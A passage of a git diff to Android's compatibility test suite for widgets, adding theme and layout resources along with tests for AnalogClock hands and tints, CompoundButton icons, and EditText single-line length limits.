+                android:layout_height="50px"/>
+            <View
+                android:background="#0F0"
+                android:layout_width="90px"
+                android:layout_height="50px"/>
+            <View
+                android:background="#FF0"
+                android:layout_width="90px"
+                android:layout_height="50px"/>
+            <View
+                android:background="#F00"
+                android:layout_width="90px"
+                android:layout_height="50px"/>
+            <View
+                android:background="#F0F"
+                android:layout_width="90px"
+                android:layout_height="50px"/>
+        </LinearLayout>
+    </ScrollView>
 </LinearLayout>
 
diff --git a/tests/tests/widget/res/values-night/themes.xml b/tests/tests/widget/res/values-night/themes.xml
new file mode 100644
index 0000000..8791f1e
--- /dev/null
+++ b/tests/tests/widget/res/values-night/themes.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<resources>
+    <style name="Theme.DeviceDefault.DayNight.TestWidget"
+        parent="@android:style/Theme.DeviceDefault.DayNight">
+        <item name="themeDimension">@dimen/remoteviews_theme_dimen</item>
+        <item name="themeDimension2">4.5dp</item>
+        <item name="themeDimension3">5.5dp</item>
+        <item name="themeDimension4">6.5dp</item>
+        <item name="themeColor">#0f00ffff</item>
+        <item name="themeString">Night</item>
+    </style>
+</resources>
\ No newline at end of file
diff --git a/tests/tests/widget/res/values/attrs.xml b/tests/tests/widget/res/values/attrs.xml
index b2bea6f..cff1d56 100644
--- a/tests/tests/widget/res/values/attrs.xml
+++ b/tests/tests/widget/res/values/attrs.xml
@@ -142,6 +142,10 @@
     <attr name="themeGravity" />
     <attr name="themeTileMode" />
     <attr name="themeAngle" />
+    <attr name="themeDimension2" />
+    <attr name="themeDimension3" />
+    <attr name="themeDimension4" />
+    <attr name="themeString" />
 
     <attr name="chronometerStyle" format="string" />
 
diff --git a/tests/tests/widget/res/values/colors.xml b/tests/tests/widget/res/values/colors.xml
index f104a6d2..1b97411 100644
--- a/tests/tests/widget/res/values/colors.xml
+++ b/tests/tests/widget/res/values/colors.xml
@@ -22,6 +22,7 @@
     <drawable name="yellow">#77ffff00</drawable>
     <color name="testcolor1">#ff00ff00</color>
     <color name="testcolor2">#ffff0000</color>
+    <color name="testcolor3">#ff0000ff</color>
     <color name="failColor">#ff0000ff</color>
 
     <color name="calendarview_week_background">#40FF0000</color>
@@ -33,4 +34,6 @@
     <color name="calendarview_unfocusedmonthdate_new">#4070F0F0</color>
     <color name="calendarview_week_number_new">#9090FF</color>
     <color name="calendarview_week_separatorline_new">#AFAF00</color>
+
+    <color name="remoteviews_theme_color">#0f00ff00</color>
 </resources>
diff --git a/tests/tests/widget/res/values/dimens.xml b/tests/tests/widget/res/values/dimens.xml
index 685e2c1..46f9eda 100644
--- a/tests/tests/widget/res/values/dimens.xml
+++ b/tests/tests/widget/res/values/dimens.xml
@@ -44,6 +44,8 @@
     <dimen name="textview_padding_top">2dip</dimen>
     <dimen name="textview_padding_bottom">4dip</dimen>
     <dimen name="textview_drawable_padding">2dip</dimen>
+    <dimen name="textview_fixed_width">100dp</dimen>
+    <dimen name="textview_fixed_height">200dp</dimen>
 
     <dimen name="textview_firstBaselineToTopHeight">100dp</dimen>
     <dimen name="textview_lastBaselineToBottomHeight">30dp</dimen>
@@ -58,4 +60,7 @@
 
     <dimen name="listviewfixed_layout_width">300dp</dimen>
     <dimen name="listviewfixed_layout_height">300dp</dimen>
+
+    <dimen name="remoteviews_float_dimen">4.5dp</dimen>
+    <dimen name="remoteviews_theme_dimen">7.5123dp</dimen>
 </resources>
diff --git a/tests/tests/widget/res/values/strings.xml b/tests/tests/widget/res/values/strings.xml
index 9e36cc0..0bb9976 100644
--- a/tests/tests/widget/res/values/strings.xml
+++ b/tests/tests/widget/res/values/strings.xml
@@ -176,6 +176,7 @@
 with no fading. I have made this string longer to fix this case. If you are correcting this
 text, I would love to see the kind of devices you guys now use! Guys, maybe some devices need longer string!
 I think so, so how about double this string, like copy and paste! </string>
+    <string name="even_more_long_text">This is even more long string which exceeds the character limit of the single line edit text. Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. Curabitur pretium tincidunt lacus. Nulla gravida orci a odio. Nullam varius, turpis et commodo pharetra, est eros bibendum elit, nec luctus magna felis sollicitudin mauris. Integer in mauris eu nibh euismod gravida. Duis ac tellus et risus vulputate vehicula. Donec lobortis risus a elit. Etiam tempor. Ut ullamcorper, ligula eu tempor congue, eros est euismod turpis, id tincidunt sapien risus a quam. Maecenas fermentum consequat mi. Donec fermentum. Pellentesque malesuada nulla a mi. Duis sapien sem, aliquet nec, commodo eget, consequat quis, neque. Aliquam faucibus, elit ut dictum aliquet, felis nisl adipiscing sapien, sed malesuada diam lacus eget erat. Cras mollis scelerisque nunc. Nullam arcu. Aliquam consequat. Curabitur augue lorem, dapibus quis, laoreet et, pretium ac, nisi. Aenean magna nisl, mollis quis, molestie eu, feugiat in, orci. In hac habitasse platea dictumst. Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. Curabitur pretium tincidunt lacus. Nulla gravida orci a odio. Nullam varius, turpis et commodo pharetra, est eros bibendum elit, nec luctus magna felis sollicitudin mauris. Integer in mauris eu nibh euismod gravida. Duis ac tellus et risus vulputate vehicula. Donec lobortis risus a elit. Etiam tempor. Ut ullamcorper, ligula eu tempor congue, eros est euismod turpis, id tincidunt sapien risus a quam. Maecenas fermentum consequat mi. Donec fermentum. Pellentesque malesuada nulla a mi. Duis sapien sem, aliquet nec, commodo eget, consequat quis, neque. Aliquam faucibus, elit ut dictum aliquet, felis nisl adipiscing sapien, sed malesuada diam lacus eget erat. Cras mollis scelerisque nunc. Nullam arcu. Aliquam consequat. Curabitur augue lorem, dapibus quis, laoreet et, pretium ac, nisi. Aenean magna nisl, mollis quis, molestie eu, feugiat in, orci. In hac habitasse platea dictumst. Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. Curabitur pretium tincidunt lacus. Nulla gravida orci a odio. Nullam varius, turpis et commodo pharetra, est eros bibendum elit, nec luctus magna felis sollicitudin mauris. Integer in mauris eu nibh euismod gravida. Duis ac tellus et risus vulputate vehicula. Donec lobortis risus a elit. Etiam tempor. Ut ullamcorper, ligula eu tempor congue, eros est euismod turpis, id tincidunt sapien risus a quam. Maecenas fermentum consequat mi. Donec fermentum. Pellentesque malesuada nulla a mi. Duis sapien sem, aliquet nec, commodo eget, consequat quis, neque. Aliquam faucibus, elit ut dictum aliquet, felis nisl adipiscing sapien, sed malesuada diam lacus eget erat. Cras mollis scelerisque nunc. Nullam arcu. Aliquam consequat. Curabitur augue lorem, dapibus quis, laoreet et, pretium ac, nisi. Aenean magna nisl, mollis quis, molestie eu, feugiat in, orci. In hac habitasse platea dictumst. Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. Curabitur pretium tincidunt lacus. Nulla gravida orci a odio. Nullam varius, turpis et commodo pharetra, est eros bibendum elit, nec luctus magna felis sollicitudin mauris. Integer in mauris eu nibh euismod gravida. Duis ac tellus et risus vulputate vehicula. Donec lobortis risus a elit. Etiam tempor. Ut ullamcorper, ligula eu tempor congue, eros est euismod turpis, id tincidunt sapien risus a quam. Maecenas fermentum consequat mi. Donec fermentum. Pellentesque malesuada nulla a mi. Duis sapien sem, aliquet nec, commodo eget, consequat quis, neque. Aliquam faucibus, elit ut dictum aliquet, felis nisl adipiscing sapien, sed malesuada diam lacus eget erat. Cras mollis scelerisque nunc. Nullam arcu. Aliquam consequat. Curabitur augue lorem, dapibus quis, laoreet et, pretium ac, nisi. Aenean magna nisl, mollis quis, molestie eu, feugiat in, orci. In hac habitasse platea dictumst.</string>
     <string name="rectangle200">"M 0,0 l 200,0 l 0, 200 l -200, 0 z"</string>
 
     <string name="popup_show">Show popup</string>
@@ -214,4 +215,6 @@
     <string name="radio_choice_1">choice 1</string>
     <string name="radio_choice_2">choice 2</string>
     <string name="radio_choice_3">choice 3</string>
+
+    <string name="remoteviews_theme_string">Day</string>
 </resources>
diff --git a/tests/tests/widget/res/values/themes.xml b/tests/tests/widget/res/values/themes.xml
new file mode 100644
index 0000000..bbce31f
--- /dev/null
+++ b/tests/tests/widget/res/values/themes.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<resources>
+    <style name="Theme.DeviceDefault.DayNight.TestWidget"
+        parent="@android:style/Theme.DeviceDefault.DayNight">
+        <item name="themeDimension">5.5123dp</item>
+        <item name="themeDimension2">2.5dp</item>
+        <item name="themeDimension3">3.5dp</item>
+        <item name="themeDimension4">4.5dp</item>
+        <item name="themeColor">@color/remoteviews_theme_color</item>
+        <item name="themeString">@string/remoteviews_theme_string</item>
+    </style>
+</resources>
\ No newline at end of file
diff --git a/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java b/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java
index a5a4a50..ae22d58 100644
--- a/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java
@@ -16,9 +16,18 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+
+import android.annotation.ColorRes;
 import android.app.Activity;
+import android.content.res.ColorStateList;
+import android.graphics.BlendMode;
+import android.graphics.Color;
+import android.graphics.drawable.Icon;
 import android.util.AttributeSet;
 import android.util.Xml;
+import android.view.View;
 import android.widget.AnalogClock;
 
 import androidx.test.filters.SmallTest;
@@ -34,8 +43,13 @@
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class AnalogClockTest {
+    private static final String TIME_ZONE_NEW_YORK = "America/New_York";
+    private static final String TIME_ZONE_LOS_ANGELES = "America/Los_Angeles";
+
     private AttributeSet mAttrSet;
     private Activity mActivity;
+    private AnalogClock mClock;
+    private AnalogClock mClockWithAttrs;
 
     @Rule
     public ActivityTestRule<FrameLayoutCtsActivity> mActivityRule =
@@ -44,8 +58,12 @@
     @Before
     public void setup() throws Exception {
         mActivity = mActivityRule.getActivity();
-        XmlPullParser parser = mActivity.getResources().getXml(R.layout.analogclock);
+        XmlPullParser parser = mActivity.getResources().getXml(R.layout.analogclock_layout);
         mAttrSet = Xml.asAttributeSet(parser);
+
+        View layout = mActivity.getLayoutInflater().inflate(R.layout.analogclock_layout, null);
+        mClock = layout.findViewById(R.id.clock);
+        mClockWithAttrs = layout.findViewById(R.id.clock_with_attrs);
     }
 
     @Test
@@ -55,18 +73,224 @@
         new AnalogClock(mActivity, mAttrSet, 0);
     }
 
-    @Test(expected=NullPointerException.class)
+    @Test(expected = NullPointerException.class)
     public void testConstructorWithNullContext1() {
         new AnalogClock(null);
     }
 
-    @Test(expected=NullPointerException.class)
+    @Test(expected = NullPointerException.class)
     public void testConstructorWithNullContext2() {
         new AnalogClock(null, null);
     }
 
-    @Test(expected=NullPointerException.class)
+    @Test(expected = NullPointerException.class)
     public void testConstructorWithNullContext3() {
         new AnalogClock(null, null, -1);
     }
+
+    @Test
+    public void testSetDial() {
+        Icon icon = Icon.createWithResource(mActivity, R.drawable.magenta_fill);
+        mClock.setDial(icon);
+        mClockWithAttrs.setDial(icon);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testSetDialWithNull() {
+        mClock.setDial(null);
+    }
+
+    @Test
+    public void testSetHourHand() {
+        Icon icon = Icon.createWithResource(mActivity, R.drawable.magenta_fill);
+        mClock.setHourHand(icon);
+        mClockWithAttrs.setHourHand(icon);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testSetHourHandWithNull() {
+        mClock.setHourHand(null);
+    }
+
+    @Test
+    public void testSetMinuteHand() {
+        Icon icon = Icon.createWithResource(mActivity, R.drawable.magenta_fill);
+        mClock.setMinuteHand(icon);
+        mClockWithAttrs.setMinuteHand(icon);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testSetMinuteHandWithNull() {
+        mClock.setMinuteHand(null);
+    }
+
+    @Test
+    public void testSetSecondHand() {
+        Icon icon = Icon.createWithResource(mActivity, R.drawable.magenta_fill);
+        mClock.setSecondHand(icon);
+        mClockWithAttrs.setSecondHand(icon);
+    }
+
+    @Test
+    public void testSetSecondHandWithNull() {
+        mClock.setSecondHand(null);
+        mClockWithAttrs.setSecondHand(null);
+    }
+
+    @Test
+    public void testTimeZone() {
+        assertNull(mClock.getTimeZone());
+        assertEquals(TIME_ZONE_NEW_YORK, mClockWithAttrs.getTimeZone());
+
+        mClock.setTimeZone(TIME_ZONE_NEW_YORK);
+        assertEquals(TIME_ZONE_NEW_YORK, mClock.getTimeZone());
+
+        mClock.setTimeZone(TIME_ZONE_LOS_ANGELES);
+        assertEquals(TIME_ZONE_LOS_ANGELES, mClock.getTimeZone());
+
+        mClock.setTimeZone("Some/Invalid_time_zone");
+        assertNull(mClock.getTimeZone());
+
+        mClock.setTimeZone(TIME_ZONE_NEW_YORK);
+        assertEquals(TIME_ZONE_NEW_YORK, mClock.getTimeZone());
+
+        mClock.setTimeZone(null);
+        assertNull(mClock.getTimeZone());
+    }
+
+    @Test
+    public void testSetDialTintList() {
+        assertNull(mClock.getDialTintList());
+        assertEquals(
+                getColorStateList(R.color.testcolorstatelist1),
+                mClockWithAttrs.getDialTintList());
+
+        ColorStateList tintList = new ColorStateList(
+                new int[][] { {android.R.attr.state_checked}, {}},
+                new int[] {Color.RED, Color.BLUE});
+        mClock.setDialTintList(tintList);
+        assertEquals(tintList, mClock.getDialTintList());
+
+        mClock.setDialTintList(null);
+        assertNull(mClock.getDialTintList());
+    }
+
+    @Test
+    public void testSetDialTintBlendMode() {
+        assertNull(mClock.getDialTintBlendMode());
+        assertEquals(BlendMode.SRC_IN, mClockWithAttrs.getDialTintBlendMode());
+
+        mClock.setDialTintBlendMode(BlendMode.COLOR);
+        mClockWithAttrs.setDialTintBlendMode(BlendMode.COLOR);
+        assertEquals(BlendMode.COLOR, mClock.getDialTintBlendMode());
+        assertEquals(BlendMode.COLOR, mClockWithAttrs.getDialTintBlendMode());
+
+        mClock.setDialTintBlendMode(null);
+        mClockWithAttrs.setDialTintBlendMode(null);
+        assertNull(mClock.getDialTintBlendMode());
+        assertNull(mClockWithAttrs.getDialTintBlendMode());
+    }
+
+    @Test
+    public void testSetHourHandTintList() {
+        assertNull(mClock.getHourHandTintList());
+        assertEquals(
+                getColorStateList(R.color.testcolor1),
+                mClockWithAttrs.getHourHandTintList());
+
+        ColorStateList tintList = new ColorStateList(
+                new int[][] { {android.R.attr.state_checked}, {}},
+                new int[] {Color.BLACK, Color.WHITE});
+        mClock.setHourHandTintList(tintList);
+        assertEquals(tintList, mClock.getHourHandTintList());
+
+        mClock.setHourHandTintList(null);
+        assertNull(mClock.getHourHandTintList());
+    }
+
+    @Test
+    public void testSetHourHandTintBlendMode() {
+        assertNull(mClock.getHourHandTintBlendMode());
+        assertEquals(BlendMode.SRC_OVER, mClockWithAttrs.getHourHandTintBlendMode());
+
+        mClock.setHourHandTintBlendMode(BlendMode.COLOR_BURN);
+        mClockWithAttrs.setHourHandTintBlendMode(BlendMode.COLOR_BURN);
+        assertEquals(BlendMode.COLOR_BURN, mClock.getHourHandTintBlendMode());
+        assertEquals(BlendMode.COLOR_BURN, mClockWithAttrs.getHourHandTintBlendMode());
+
+        mClock.setHourHandTintBlendMode(null);
+        mClockWithAttrs.setHourHandTintBlendMode(null);
+        assertNull(mClock.getHourHandTintBlendMode());
+        assertNull(mClockWithAttrs.getHourHandTintBlendMode());
+    }
+
+    @Test
+    public void testSetMinuteHandTintList() {
+        assertNull(mClock.getMinuteHandTintList());
+        assertEquals(
+                getColorStateList(R.color.testcolor2),
+                mClockWithAttrs.getMinuteHandTintList());
+
+        ColorStateList tintList = new ColorStateList(
+                new int[][] { {android.R.attr.state_active}, {}},
+                new int[] {Color.CYAN, Color.BLUE});
+        mClock.setMinuteHandTintList(tintList);
+        assertEquals(tintList, mClock.getMinuteHandTintList());
+
+        mClock.setMinuteHandTintList(null);
+        assertNull(mClock.getMinuteHandTintList());
+    }
+
+    @Test
+    public void testSetMinuteHandTintBlendMode() {
+        assertNull(mClock.getMinuteHandTintBlendMode());
+        assertEquals(BlendMode.SCREEN, mClockWithAttrs.getMinuteHandTintBlendMode());
+
+        mClock.setMinuteHandTintBlendMode(BlendMode.COLOR_DODGE);
+        mClockWithAttrs.setMinuteHandTintBlendMode(BlendMode.COLOR_DODGE);
+        assertEquals(BlendMode.COLOR_DODGE, mClock.getMinuteHandTintBlendMode());
+        assertEquals(BlendMode.COLOR_DODGE, mClockWithAttrs.getMinuteHandTintBlendMode());
+
+        mClock.setMinuteHandTintBlendMode(null);
+        mClockWithAttrs.setMinuteHandTintBlendMode(null);
+        assertNull(mClock.getMinuteHandTintBlendMode());
+        assertNull(mClockWithAttrs.getMinuteHandTintBlendMode());
+    }
+
+    @Test
+    public void testSetSecondHandTintList() {
+        assertNull(mClock.getSecondHandTintList());
+        assertEquals(
+                getColorStateList(R.color.testcolor3),
+                mClockWithAttrs.getSecondHandTintList());
+
+        ColorStateList tintList = new ColorStateList(
+                new int[][] { {android.R.attr.state_checked}, {}},
+                new int[] {Color.GREEN, Color.BLUE});
+        mClock.setSecondHandTintList(tintList);
+        assertEquals(tintList, mClock.getSecondHandTintList());
+
+        mClock.setSecondHandTintList(null);
+        assertNull(mClock.getSecondHandTintList());
+    }
+
+    @Test
+    public void testSetSecondHandTintBlendMode() {
+        assertNull(mClock.getSecondHandTintBlendMode());
+        assertEquals(BlendMode.PLUS, mClockWithAttrs.getSecondHandTintBlendMode());
+
+        mClock.setSecondHandTintBlendMode(BlendMode.DARKEN);
+        mClockWithAttrs.setSecondHandTintBlendMode(BlendMode.DARKEN);
+        assertEquals(BlendMode.DARKEN, mClock.getSecondHandTintBlendMode());
+        assertEquals(BlendMode.DARKEN, mClockWithAttrs.getSecondHandTintBlendMode());
+
+        mClock.setSecondHandTintBlendMode(null);
+        mClockWithAttrs.setSecondHandTintBlendMode(null);
+        assertNull(mClock.getSecondHandTintBlendMode());
+        assertNull(mClockWithAttrs.getSecondHandTintBlendMode());
+    }
+
+    private ColorStateList getColorStateList(@ColorRes int resId) {
+        return mClock.getContext().getColorStateList(resId);
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/CompoundButtonTest.java b/tests/tests/widget/src/android/widget/cts/CompoundButtonTest.java
index 2bcc05f..b4393df 100644
--- a/tests/tests/widget/src/android/widget/cts/CompoundButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/CompoundButtonTest.java
@@ -42,6 +42,8 @@
 import android.graphics.Rect;
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
+import android.graphics.drawable.GradientDrawable;
+import android.graphics.drawable.Icon;
 import android.os.Parcelable;
 import android.util.AttributeSet;
 import android.util.StateSet;
@@ -253,6 +255,39 @@
         mCompoundButton.setButtonDrawable(R.drawable.pass);
     }
 
+    @UiThreadTest
+    @Test
+    public void testSetButtonDrawableByIdAsync() {
+        // resId is 0
+        mCompoundButton.setButtonDrawableAsync(0).run();
+
+        // set drawable
+        mCompoundButton.setButtonDrawableAsync(R.drawable.scenery).run();
+
+        // set the same drawable again
+        mCompoundButton.setButtonDrawableAsync(R.drawable.scenery).run();
+
+        // update drawable
+        mCompoundButton.setButtonDrawableAsync(R.drawable.pass).run();
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSetButtonIcon() {
+        mCompoundButton.setButtonIcon(null);
+        assertNull(mCompoundButton.getButtonDrawable());
+
+        mCompoundButton.setButtonIcon(Icon.createWithResource(mActivity, R.drawable.blue_fill));
+        GradientDrawable firstButton = (GradientDrawable) mCompoundButton.getButtonDrawable();
+        assertEquals(GradientDrawable.RECTANGLE, firstButton.getShape());
+        assertEquals(ColorStateList.valueOf(Color.BLUE), firstButton.getColor());
+
+        mCompoundButton.setButtonIcon(Icon.createWithResource(mActivity, R.drawable.red_fill));
+        GradientDrawable secondButton = (GradientDrawable) mCompoundButton.getButtonDrawable();
+        assertEquals(GradientDrawable.RECTANGLE, secondButton.getShape());
+        assertEquals(ColorStateList.valueOf(Color.RED), secondButton.getColor());
+    }
+
     @Test
     public void testOnCreateDrawableState() {
         // compoundButton is not checked, append 0 to state array.
diff --git a/tests/tests/widget/src/android/widget/cts/EditTextTest.java b/tests/tests/widget/src/android/widget/cts/EditTextTest.java
index 957edf0..a9785a7 100755
--- a/tests/tests/widget/src/android/widget/cts/EditTextTest.java
+++ b/tests/tests/widget/src/android/widget/cts/EditTextTest.java
@@ -28,7 +28,9 @@
 import android.content.res.Configuration;
 import android.graphics.Point;
 import android.text.Editable;
+import android.text.InputFilter;
 import android.text.Layout;
+import android.text.Spanned;
 import android.text.TextUtils;
 import android.text.method.ArrowKeyMovementMethod;
 import android.text.method.MovementMethod;
@@ -39,6 +41,7 @@
 import android.util.Xml;
 import android.view.KeyEvent;
 import android.view.accessibility.AccessibilityNodeInfo;
+import android.view.inputmethod.EditorInfo;
 import android.widget.EditText;
 import android.widget.TextView;
 import android.widget.TextView.BufferType;
@@ -527,4 +530,165 @@
         CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mEditText1, KeyEvent.KEYCODE_NUMPAD_ENTER);
         assertTrue(mEditText2.hasFocus());
     }
+
+    private static final int FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT = 5000;
+
+    @UiThreadTest
+    @Test
+    public void testSingleLineMaxLength_explicit_singleLine() {
+        mActivity.setContentView(R.layout.edittext_singleline_maxlength);
+
+        EditText et = (EditText) mActivity.findViewById(
+                R.id.edittext_explicit_singleline_max_length);
+        assertTrue(et.getText().length() <= FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSingleLineMaxLength_explicit_singleLine_with_explicit_maxLength() {
+        mActivity.setContentView(R.layout.edittext_singleline_maxlength);
+
+        EditText et = (EditText) mActivity.findViewById(
+                R.id.edittext_explicit_singleline_with_explicit_max_length);
+        // This EditText has maxLength=2000 and singeLine=true.
+        // User specified maxLength must be respected.
+        assertTrue(et.getText().length() <= 2000);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSingleLineMaxLength_singleLine_from_inputType() {
+        mActivity.setContentView(R.layout.edittext_singleline_maxlength);
+
+        EditText et = (EditText) mActivity.findViewById(R.id.edittext_singleLine);
+        // This EditText has inputType="text" which is translated to singleLine.
+        assertTrue(et.getText().length() <= FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSingleLineMaxLength_multiline() {
+        mActivity.setContentView(R.layout.edittext_singleline_maxlength);
+
+        EditText et = (EditText) mActivity.findViewById(R.id.edittext_multiLine);
+        // Multiline text doesn't have automated char limit.
+        assertTrue(et.getText().length() > FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSingleLineMaxLength_textView() {
+        mActivity.setContentView(R.layout.edittext_singleline_maxlength);
+
+        TextView tv = (TextView) mActivity.findViewById(
+                R.id.textview_explicit_singleline_max_length);
+        // Automated maxLength for singline text is not applied to TextView.
+        assertTrue(tv.getText().length() > FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSingleLineMaxLength_SetSingleLine() {
+        EditText et = new EditText(mActivity);
+        et.setText(mActivity.getResources().getText(R.string.even_more_long_text));
+        et.setSingleLine();
+
+        assertTrue(et.getText().length() <= FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSingleLineMaxLength_setInputType_singleLine() {
+        EditText et = new EditText(mActivity);
+        et.setText(mActivity.getResources().getText(R.string.even_more_long_text));
+        et.setInputType(EditorInfo.TYPE_CLASS_TEXT);
+
+        assertTrue(et.getText().length() <= FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSingleLineMaxLength_setInputType_multiLine() {
+        EditText et = new EditText(mActivity);
+        et.setInputType(EditorInfo.TYPE_CLASS_TEXT | EditorInfo.TYPE_TEXT_FLAG_MULTI_LINE);
+        et.setText(mActivity.getResources().getText(R.string.even_more_long_text));
+
+        assertTrue(et.getText().length() > FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT);
+    }
+
+    class DummyFilter implements InputFilter {
+        @Override
+        public CharSequence filter(
+                CharSequence source,
+                int start,
+                int end,
+                Spanned dest,
+                int dstart,
+                int dend) {
+            return source;
+        }
+    }
+
+    private final InputFilter mFilterA = new DummyFilter();
+    private final InputFilter mFilterB = new DummyFilter();
+
+    @UiThreadTest
+    @Test
+    public void testSingleLineMaxLength_SetSingleLine_preserveFilters() {
+        EditText et = new EditText(mActivity);
+        et.setText(mActivity.getResources().getText(R.string.even_more_long_text));
+        et.setFilters(new InputFilter[] { mFilterA, mFilterB });
+        et.setSingleLine();
+
+        assertTrue(et.getText().length() <= FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT);
+
+        assertEquals(3, et.getFilters().length);
+        assertEquals(et.getFilters()[0], mFilterA);
+        assertEquals(et.getFilters()[1], mFilterB);
+        assertTrue(et.getFilters()[2] instanceof InputFilter.LengthFilter);
+
+        et.setSingleLine(false);
+        assertEquals(2, et.getFilters().length);
+        assertEquals(et.getFilters()[0], mFilterA);
+        assertEquals(et.getFilters()[1], mFilterB);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSingleLineMaxLength_SetSingleLine_preserveFilters_mixtureFilters() {
+        EditText et = new EditText(mActivity);
+        et.setText(mActivity.getResources().getText(R.string.even_more_long_text));
+        et.setSingleLine();
+        et.setFilters(new InputFilter[] { mFilterA, et.getFilters()[0], mFilterB });
+
+        assertTrue(et.getText().length() <= FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT);
+
+        et.setSingleLine(false);
+        assertEquals(2, et.getFilters().length);
+        assertEquals(et.getFilters()[0], mFilterA);
+        assertEquals(et.getFilters()[1], mFilterB);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSingleLineMaxLength_SetSingleLine_preserveFilters_anotherLengthFilter() {
+        EditText et = new EditText(mActivity);
+        et.setText(mActivity.getResources().getText(R.string.even_more_long_text));
+        final InputFilter myFilter =
+                new InputFilter.LengthFilter(FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT);
+        et.setFilters(new InputFilter[] { myFilter });
+        et.setSingleLine();
+
+        assertTrue(et.getText().length() <= FRAMEWORK_MAX_LENGTH_FOR_SINGLE_LINE_EDIT_TEXT);
+
+        // setSingleLine(true) must not add new filter since there is already LengthFilter.
+        assertEquals(1, et.getFilters().length);
+        assertEquals(et.getFilters()[0], myFilter);
+
+        // setSingleLine(false) must not remove my custom filter.
+        et.setSingleLine(false);
+        assertEquals(1, et.getFilters().length);
+        assertEquals(et.getFilters()[0], myFilter);
+    }
+
 }
diff --git a/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java b/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java
index c058de7..a93d864 100644
--- a/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java
